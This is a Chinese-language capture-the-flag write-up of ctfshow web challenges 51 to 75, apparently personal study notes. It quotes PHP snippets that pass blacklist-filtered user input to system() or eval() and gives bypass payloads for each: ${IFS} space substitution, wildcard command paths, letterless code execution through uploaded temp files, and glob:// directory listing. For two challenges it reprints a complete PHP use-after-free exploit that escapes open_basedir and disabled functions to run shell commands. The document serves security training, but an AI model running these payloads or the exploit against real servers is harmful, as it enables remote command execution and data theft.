WEB51
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?>
c=nl
WEB52
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
比上一题过滤了<和>,就是要想想空格怎么绕过,$没过滤
出题人解法:
可以用复制或者是重命名的方式
c=cp$IFSfla?.php$IFSa.php||ls(我们怀疑它是不是没有写的权限)
换一种命令:
c=mv$IFSfla?.php$IFSa.txt||ls(重命名还是没有成功)
再换一种命令,我们用${IFS}这种写法试一下:
c=mv${IFS}fla?.php${IFS}a.txt||ls(成功)
访问a.txt发现$flag="flag_here";,很明显重命名之后这个flag是不对的,说明这个flag是假的
我们可以再列一下目录看看其他地方:
列一下根目录:?c=ls${IFS}/||ls(发现有个flag文件夹)
这里直接移动过去:c=mv${IFS}/fla?${IFS}/var/www/html/b.txt||ls(发现是不能移动的)
复制:c=cp${IFS}/fla?${IFS}/var/www/html/b.txt||ls (ls查看后发现复制成功)
我们直接访问b.txt,拿到flag
c={nl,fla’’g.php} %0a(为什么不行?)
c=nl%20fla’’g.php%0a(为什么不行?)
c=nl${IFS}fla’’g.php|| (有回显但是flag提交错误 ||改为%26%26不行因为被过滤了)为什么?
c=nl$IFS\fla\g.php||
WEB53
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);//自带打印返回值的功能,成功则返回命令输出的最后一行,失败则返回false
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
c=nl$IFS\fla\g.php (√)
c=nl${IFS}fla\g.php (√)
空格换成%20显示no,我也不知原因
其他payload:c’’at${IFS}fla’’g.php(√)为啥这里带花括号又可以了呢?
c’’at${IFS}fla?.php(√)
WEB54
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
?>
.c.a.t.
加强了正则表达式,通配符就行了
c=/bin/c??${IFS}???????? (/bin下存储的是linux命令c开头且三位的只有cat)
c=/bin/c??$IFS????????
实例:
出题人解法:
过滤的有点丧心病狂,但是少过滤了一点东西
我们可以用mv重命名c=ls(先看一下flag文件),c=mv${IFS}fla?.php${IFS}z.txt,在列一下z.txt
访问就可以拿到flag
WEB55(★过滤字母)base64查看文件
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
出题人解法:
出题人解法:
过滤了字母但是没过滤空格,考虑经典的无字母RCE
首先做一个文件上传的表单
表单:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://a2fb3d97-7fb5-4ac0-b033-3762eb867daf.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
背景:
为什么要上传文件呢?
上传文件之后,它会在PHP的服务器接收到这个上传文件,它不知道你这个脚本后面还有没有处理上传文件的逻辑
现在文件已经上传上来了,它如果要的话万一你后面不要了怎么办,如果不要的话后面脚本又要取这个数据它又拿不到,所以作为PHP的话它没办法,它只能想一个折中的办法:
我把每次脚本执行,凡是有文件上传我都放到一个地方,然后等你脚本执行完了你用你就拿走,不用我就把这个地方清空,或者删除。这样也是PHP的一种做法,就是防止虽然前面一共有2000行代码,前面1800行都没有用这个,那这时候文件以及上传上来了,那你总不能把这个文件扔掉吧,你扔掉了后面200行,突然要用这个文件的话就出bug了,拿不到这个文件了。所以它就放到一个指定的目录,这个目录就是任何程序都可以写的临时目录,它的命名规则是php后面跟五位小写字母最后一位大写字母(如phpaaaaaX)
而且本题没有过滤‘.’的,点在linux下是可以执行脚本的,假设我们能自定义一个脚本文件,名字比如说是‘?.?’这个脚本文件,. ?.?也叫能执行任意文件,只要我们能控制?.?这个文件,通过点号我们就可以执行这个脚本了
但是问题是我们没有能写文件的地方,所以用刚才那个写一个表单文件上传,我不管你这个脚本用不用这个文件数据,我只管往你服务器上面传,只要我在执行脚本之前这个文件都是在的
那么同样的原理,我们如果上传一个文件,它的目录是/tmp/phpaaabbC,如果phpaaabbC这个文件是一个脚本的话,用“.”就可以执行任意命令了,这个名字我们是不可控的,但值是可控的,这时候名字可以用通配符:./???/????????,这个是匹配根目录三个字符的八位文件名的文件
我们先按六位做一下,./???/??????这样的话明显它会匹配多个,也不一定能执行成功,因为它总有一次最后一位是大写,我们就可以多试几次。
如何判断是大写呢?就是大写字母的ASCII是在@之后在左中括号之前:[@-[]
具体原理可以参考P神的博客
./???/??????[@-[]
我们随便上传一个文件,抓包:
其他解法:
你在炫技吗? 没有,我不敢orz
此题过滤了字母,我们可以使用web41的方法异或生成字符,哎呀,不会
这题羽师傅又写脚本啦!!!
继无字母数字的命令执行(ctfshow web入门 55)新姿势
无字母数字的命令执行(ctfshow web入门 55)(之前的方法)
还是查看源代码发现没有过滤数字,我们就想一想在我们查看文件的命令有没有数字开头的。发现存在一个base64
base64的使用
我们就可以通过通配符进行匹配命令执行查看flag.php
payload:?c=/???/????64 ????.???
意思是 /bin/base64 flag.php
解码后发现flag:ctfshow{8090d84c-39ee-40d7-8345-ad934c1f8dd2}
这种解法真的是666丫
ubuntu下base64命令在/usr/bin/base64呀
bzip2的使用
bzip2是linux下面的压缩文件的命令
我们可以通过该命令压缩flag.php 然后进行下载
payload:?c=/???/???/????2 ????.???
也就是/usr/bin/bzip2 flag.php
然后访问/flag.php.bz2进行下载获得flag.php, 太巧妙了吧!
[
](https://blog.csdn.net/qq_46091464/article/details/108555433)
WEB56(★过滤数字+字母,待做)
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
没过滤问号,依然可以用上一题base64查看文件的方法,没过滤空格、点,此题不光过滤了字母还过滤了数字
?c=/???/????64 ????.???(就是/bin/base64 flag.php)
参考:无字母数字的命令执行(ctfshow web入门 55)
出题人解法:
考察无字母数字RCE,首先讲一下PHP上传机制,首先看一下下面代码
1.php
<?php
if($_FILES["file"]["error"]>0){
echo "错误:".$_FILES["file"]["error"]."<br>";
}
else{
echo "上传文件名:".$_FILES["file"]["name"]."<br>";
echo "文件类型:".$_FILES["file"]["type"]."<br>";
echo "文件大小:".($_FILES["file"]["size"]/1024)."kB<br>";
echo "文件临时存储位置:".$_FILES["file"]["tmp_name"];
}
sleep(15);
/*
如果有文件上传的话,它会把文件上传的上面这些信息打印出来,延时15秒是为了找到我们要上传的文件
*/
?>
又写了一个文件上传的HTML,本地测试一下
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<form action="http://192.168.3.90/ctfshow/1.php" method="post" enctype="multipart/form-data">
<p><input type="file" name="file"></p>
<p><input type="submit" value="提交"></p>
</form>
</body>
</html>
我们先把sleep注释
文件临时存储位置就是临时存储的,它在脚本执行完毕后就删除了,它的内容就是我们上传的东西,这是我们上传机制。
把sleep注释解开:再上传(15s过后就删除了)
所以这道题我们可以这么做:
把上传表单的action改成题目地址——》上传一个文件,抓包
PHP对上传的任何文件,就算没有接收,它也可以填充到指定的超全局变量里面
多刷几次是因为?可能没匹配到对应的文件
对于这种无字母数字RCE,固定是.%20/???/????????[@-[]
凡是遇到命令执行过滤了字母数字,但是给了点和问号,就可以考虑上面这种经典的做法!
WEB57(★待思考)
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
过滤了数字字母等,只需要构造一个36即可
出题人思路:
我们知道没过滤$可以用变量的
我们可以尝试echo $(()) 这代表数学运算,虽然括号里面没有值结果是0
我们对0取反:echo ~$(()) 取反后是-0
然后我们对-0进行数学计算:echo $((~$(()))) 是-1
构造36的话就是36个-1相加,然后再取反即可
首先要相加echo $(()),括号里面是36个$((~$(()))),外面的话再取反,就是+36
echo $(())——》0
echo ~$(())——》~0
echo $((~$(())))——》-1
echo $(($((~$(())))+$((~$(())))))——》-2
echo $(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))——》-4
echo $(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))——》-36
过滤了,乘法和乘方都用不了
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
其他思路:
参考:https://www.cnblogs.com/wrnan/p/13765680.html#web55
又学到一个点
echo ${_} #返回上一次的执行结果
echo $(()) #0
echo $((~$(()))) #~0是-1
$(($((~$(())))$((~$(()))))) #$((-1-1))即$$((-2))是-2
*echo $((~-37)) #~-37是36
payload:
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
其他姿势:?c=grep${IFS}’fla’${IFS}fla??php(看不懂)
WEB58
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
post传参
c=show_source(‘flag.php’);
或者
c=highlight_file(‘flag.php’); 注意分号和引号!
这里还可以读取任意文件,没禁用file_get_contents:
c=echo file_get_contents(‘flag.php’);
WEB59
命令执行,突破禁用函数
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
和上一题给出的代码一样,关键就是考察如何突破被禁用的函数!
system、shell_exec、passthru、file_get_contents禁用
但是show_source、highlight_file还没禁用:
出题人解法:
使用include文件读取:
还可以使用glob方法进行扫描:(扫描/var/www/html下目录发现flag.php)
c=?><?php $a=new DirectoryIterator("glob:///var/www/html/*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>
WEB60
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
同样是上一题代码,考察禁用命令绕过
同样可以用上一题的include解:
也可以post提交:c=show_source(‘flag.php’); show_source竟然也没有禁用
c=highlight_file(‘flag.php’); highlight_file也没有禁用
file_get_contents() 禁用了!
WEB61
还是上一题的源码
方法1、c=highlight_file(‘flag.php’);
方法2、c=show_source(‘flag.php’);
就是知道哪些命令可以读取PHP文件即可!
WEB62
还是上一题的源码
方法1、c=highlight_file(‘flag.php’);
方法2、c=show_source(‘flag.php’);
方法3、c=include(‘flag.php’);echo $flag; //(包含但不输出,echo $flag因为我们知道它的变量名是$flag)
WEB63
还是上一题的源码
方法1、c=highlight_file(‘flag.php’);
方法2、c=show_source(‘flag.php’);
方法3、c=include(‘flag.php’);echo $flag;
方法4、c=var_dump(get_defined_vars());//查看定义了哪些变量
c=include(‘flag.php’);var_dump(get_defined_vars());先包含进去(如果我们不知道变量名字是$flag的话可以用这种办法知道它的文件名)
WEB64
还是上一题的源码
方法1、c=highlight_file(‘flag.php’); 【高亮文件显示】
方法2、c=show_source(‘flag.php’);
方法3、c=include(‘flag.php’);echo $flag;【文件包含,还可以用日志包含】
方法4、c=include(‘flag.php’);var_dump(get_defined_vars());【输出,注册变量】
方法5、可以用一个更骚的姿势,可以不用包含,直接重命名c=rename(‘flag.php’,’1.txt’); 发现rename被禁用了
能查看当前目录:c=print_r(scandir(‘.’));
WEB65
上面五种方法都能用
方法6、试试curl
参考:PHP中使用CURL实现GET和POST请求
发现curl也禁用了,离谱!
WEB66
c=highlight_file(‘flag.php’); ——》$flag=”秀秀得了,这次不在这里”;
我们查看一下当前目录c=print_r(scandir(‘/‘)); 发现是flag.txt不是php
c=highlight_file(‘flag.txt’); 发现show_source禁用了,highlight_file没有禁用
GG了,include也被禁用了
查找根下:c=highlight_file(‘/flag.txt’);
WEB67
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
还是和上面一样的代码,考察绕过禁用函数进行命令执行
c=var_dump(scandir(‘.’)); //查看当前路径文件,发现flag.php但是flag不在当中
查看其它目录:发现根目录下存在flag.txt
c=highlight_file(‘/flag.txt’); 得到flag
包含再输出所有的注册变量,这种方法也行:c=include(‘/flag.txt’);var_dump(get_defined_vars());
再测试:c=include(‘flag.php’);echo $flag; 先包含文件,再输出对应变量名的值
WEB68
此题一打开就是一段报错信息:
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19
使用上题中先包含,再输出所有的注册变量这种方法依旧可以拿到flag:
c=include(./flag.txt);var_dump(get_defined_vars());
卧槽,好像直接文件包含就可以了:(直接包含,因为它里面是没有PHP标签的,作为一个HTML默认进行输出)
WEB69
此题又是和上一题一样,一打开界面就出现highlight_file被禁用的警告信息
1、直接文件包含 c=include(‘/flag.txt’);
2、先文件包含再输出所有变量:c=include(‘/flag.txt’);var_dump($flag); 因为include已经生效了
3、c=include(‘/flag.txt’);echo(get_defined_vars());
WEB70
一打开界面,发现报错信息:
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14
Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21
你要上天吗?
直接文件包含可行!得到flag,白嫖完flag就走
WEB71
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14
Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24
你要上天吗?
本题除了有上面的警告信息,还给了一个index.php的文件
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();//返回输出缓冲区的内容
ob_end_clean(); //清空(擦除)缓冲区并关闭输出缓冲
echo preg_replace("/[0-9]|[a-z]/i","?",$s);//把缓冲区的信息替换,连报错信息都不给你
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
这题直接连报错信息都不给你了,怎么办?
我们直接考虑在eval($c)这里就中断,后面不让他执行,按照这个思路做:
c=include(‘/flag.txt’);exit();
直接考虑中断啊,我咋没想到。。。orz
WEB72(★glob协议绕过,BYPASS OPEN_BASEDIR)
给了个index.php还是
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
我们再考虑上题的做法,直接在eval后面中断,不让他替换缓冲区内容
c=include(‘/flag.txt’);exit(); 发现找不到flag.txt这个文件了
扫描一下c=var_dump(scan_dir(‘/‘));exit(); 发现var_dump都被禁用掉了。
既然要绕过的话,我们可以尝试用glob协议来进行绕过
glob:// — 查找匹配的文件路径模式
c=$a="glob:///*.txt"; //首先是定义一个路径///*.txt可以理解为// /*.txt根目录下所有txt文件
if($b=opendir($a)){
while(($file=readdir($b))!==false){
echo "filename:".$file."\n"; //如果不是目录,但是 是存在的我就输出他
}
closedir($b); //关闭
}
exit(); //防止替换
然后直接包含:
它是在open_basedir之外,我们要读到它:
这时候我们只能用UAF:
下面这个脚本是通用绕过安全目录的脚本:
<?php
c=function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦
?>
我们把上面这个脚本复制到hackbar的post(除了<?php?>),记得c=的后面要url编码
这个原理是它这个PHP脚本是国外的一个开源项目,它主要应用的是PHP的gcc,也就是垃圾回收,回收我们的漏洞来绕过我们的open_basedir
WEB73(★)
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14
Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24
你要上天吗?
没有给源码
首先用上一题的payload看能否拿到flag:
我们直接用上一个脚本的代码中strlen(返回指定字符串的长度)替换为,重新写一个方法:
<?php
//strlen 返回指定字符串长度
function strlen_user($s){
return count(str_split($s));
}
echo str_user('abc');
?>
替换结果如下:
<?php
c=function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
function strlen_user($s){
return count(str_split($s));
}
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen_user($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen_user($abc) == 79 || strlen_user($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦
?>
不行,我们继续glob扫描看是不是文件名换了:
c=$a="glob:///*.txt"; //首先是定义一个路径///*.txt可以理解为// /*.txt根目录下所有txt文件
if($b=opendir($a)){
while(($file=readdir($b))!==false){
echo "filename:".$file."\n"; //如果不是目录,但是是存在的我就输出他
}
closedir($b); //关闭
}
exit(); //防止替换
变成flagc.txt了
我们把UAF脚本205行的flag0.txt换成flagc.txt即可:发现还是不行
说明我们能达到效果,但是和那个脚本不兼容,再用一个方法:
<?php
//strlen 返回指定字符串长度
function strlen_user($s){
$ret=0;
for($i=0;$i<100000;$i++){
if($s[$i]){
$ret=$ret+1;
}else{
break;
}
}
return $ret;
}
echo str_user('abadsdac');
?>
a,没拿到flag,原理是这样的昂,流量可以被打死了
算了,c=include(‘/flagc.txt’);exit(0);
直接这样也能拿到flag(orz)
WEB74
依旧和上一题一样,glob扫描查看文件名是不是换了:
c=$a="glob:///*.txt"; //首先是定义一个路径///*.txt可以理解为// /*.txt根目录下所有txt文件
if($b=opendir($a)){
while(($file=readdir($b))!==false){
echo "filename:".$file."\n"; //如果不是目录,但是是存在的我就输出他
}
closedir($b); //关闭
}
exit(); //防止替换
或者:
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>
变成了flagx.txt
c=include(‘/flagx.txt’);exit(0);
可以直接拿到flag!
WEB75(★利用PDO数据库查询)
首先glob扫描文件,变成flag36.txt
直接包含的话是不行的:
这次又要求绕过open_basedir 了
